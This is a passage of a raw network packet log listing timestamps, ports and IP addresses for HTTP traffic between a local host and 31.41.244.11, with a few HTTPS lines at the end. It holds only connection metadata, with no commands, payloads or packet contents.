Nov 18, 2024 23:04:16.430380106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430394888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430406094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430411100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430428028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430430889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430440903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430457115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430465937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430470943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430486917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430516958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430525064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430547953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430547953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430691004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430706024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430720091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430735111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430743933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430752039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430764914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430768967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430787086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430809021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430830956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430886030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430902004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430917025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430932999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430948019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430953026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430964947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430974960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430998087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431011915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431026936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431040049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431052923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431077003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431236982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431267977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431282997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431287050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431299925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431310892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431325912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431329012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431341887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431359053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431359053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431375980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431377888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431391954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431404114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431407928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431423903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431440115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431442976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431456089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431467056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431472063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431488037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431490898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431504965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431521893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431524992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431566000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431806087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431822062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431838036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431854010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431869030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431873083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431885004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431895971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431901932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431920052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431930065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431936026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431962013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431973934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.431977987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.431993008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432004929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432022095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432030916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432037115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432054996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432065010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432070971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432085991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432104111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432120085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432135105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432135105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432161093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432173014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432173014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432212114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432418108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432434082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432447910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432463884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432466030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432481050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432492971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432497025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432522058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432529926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432538033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432553053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432554960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432570934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432589054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432590008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432605028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432621002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432621956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432642937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432651043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432662964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432671070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432696104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432715893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.432981014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.432996988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433012009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433027029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433043957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433046103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433059931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433077097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433079004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433094025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433104038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433109999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433126926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433128119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433145046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433161974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433162928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433195114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433212996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433448076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433475018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433490038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433505058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433521032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433521986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433536053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433552980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433562040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433568954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433583975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433584929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433600903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433615923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433620930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433633089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433669090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433855057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433871031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433881998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433887959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433897972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433906078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433923006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.433924913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433948040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.433983088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.434189081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434205055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434218884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434236050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434251070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434266090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434267044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.434283018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434297085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.434298038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434314013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434320927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.434329033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434343100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.434346914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434361935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.434376955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.434412956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.500617027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500634909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500650883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500673056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500689030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500698090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.500740051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500744104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.500756979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500775099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500799894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.500823021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.500931025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500947952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500963926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500979900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.500989914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.500994921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501010895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501024008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501029015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501045942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501074076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501077890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501113892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501161098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501178026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501192093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501205921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501209974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501221895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501226902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501243114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501250029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501287937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501640081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501655102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501671076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501714945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501737118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501739979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501753092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501769066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501785040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501785040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501808882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501843929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.501899958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.501945972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504082918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504098892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504115105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504143000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504168987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504184008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504199982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504215956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504229069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504234076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504266024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504293919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504317999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504333973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504348993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504378080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504414082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504446030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504462957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504477978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504493952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504508972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504517078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504548073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504575968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504591942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504606962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504607916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504626036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504640102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504642010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504678965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504699945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504740953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504756927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504772902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504785061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504800081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504826069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504870892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504885912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504901886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504916906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504920959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.504961967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.504993916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505011082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505024910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.505047083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.505141973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505157948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505170107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.505175114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505197048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.505218029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.505481005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505497932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505513906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505531073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505547047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.505553007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.505582094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.505597115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.506681919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506697893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506714106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506755114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.506773949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506791115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506803036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.506807089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506829023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506833076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.506844997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506867886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.506877899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.506895065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.506932974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.506988049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507004023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507019043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507033110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.507035017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507051945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507060051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.507069111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507087946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.507118940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.507129908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507147074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507163048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507179022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.507190943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.507213116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.507247925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.518263102 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.521858931 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.521887064 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.522486925 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.522491932 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.533374071 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.533525944 CET	443	49836	13.107.246.45	192.168.2.4
